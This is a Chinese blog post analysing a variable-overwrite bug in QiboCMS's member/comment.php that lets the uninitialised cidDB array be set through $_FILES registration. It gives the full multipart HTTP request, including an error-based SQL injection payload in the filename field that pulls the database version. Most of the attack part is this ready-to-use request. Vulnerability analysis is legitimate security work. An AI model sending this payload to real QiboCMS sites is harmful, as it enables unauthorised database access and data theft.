齊博CMS變量覆蓋導致sql注入漏洞分析

齊博CMS變量覆蓋導致sql注入漏洞分析

漏洞具體詳情見http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.AooULy&id=13

1. 根據阿里文章會員中心評論管理member/comment.php中存在變量cidDB未初始化,所以從此處開始利用對評論批量刪除,抓包查看


2.exp利用全局變量$_FILES的註冊變量控制不嚴,所以需要在request請求中增加一段文件上傳代碼,代碼如下:

Content-Type: multipart/form-data;boundary=---------------------------159592790718612

Content-Length: 296

 

-----------------------------159592790718612

Content-Disposition: form-data; name="file";filename="123.txt"

Content-Type: text/plain

 

test

-----------------------------159592790718612

Content-Disposition: form-data;name="submit"

 

submit

-----------------------------159592790718612—

當利用common.inc.php處理request時,將會註冊$_FILES的變量。覆蓋變量cidDB,

當$cidDB被遍歷查詢是,$value就是filename的值,即注入playload。

從上面可以看到查詢結果並不回顯,用報錯注入或盲注。

最終playload爲Connection: keep-alive

Content-Type: multipart/form-data;boundary=---------------------------298212969230504

Content-Length: 392

 

-----------------------------298212969230504

Content-Disposition: form-data;name="cidDB"; filename="7' and (select 1 from(selectcount(*),concat((select (select (select concat(0x7e,version(),0x7e))) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)#"

Content-Type: text/plain

 

test

-----------------------------298212969230504—


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章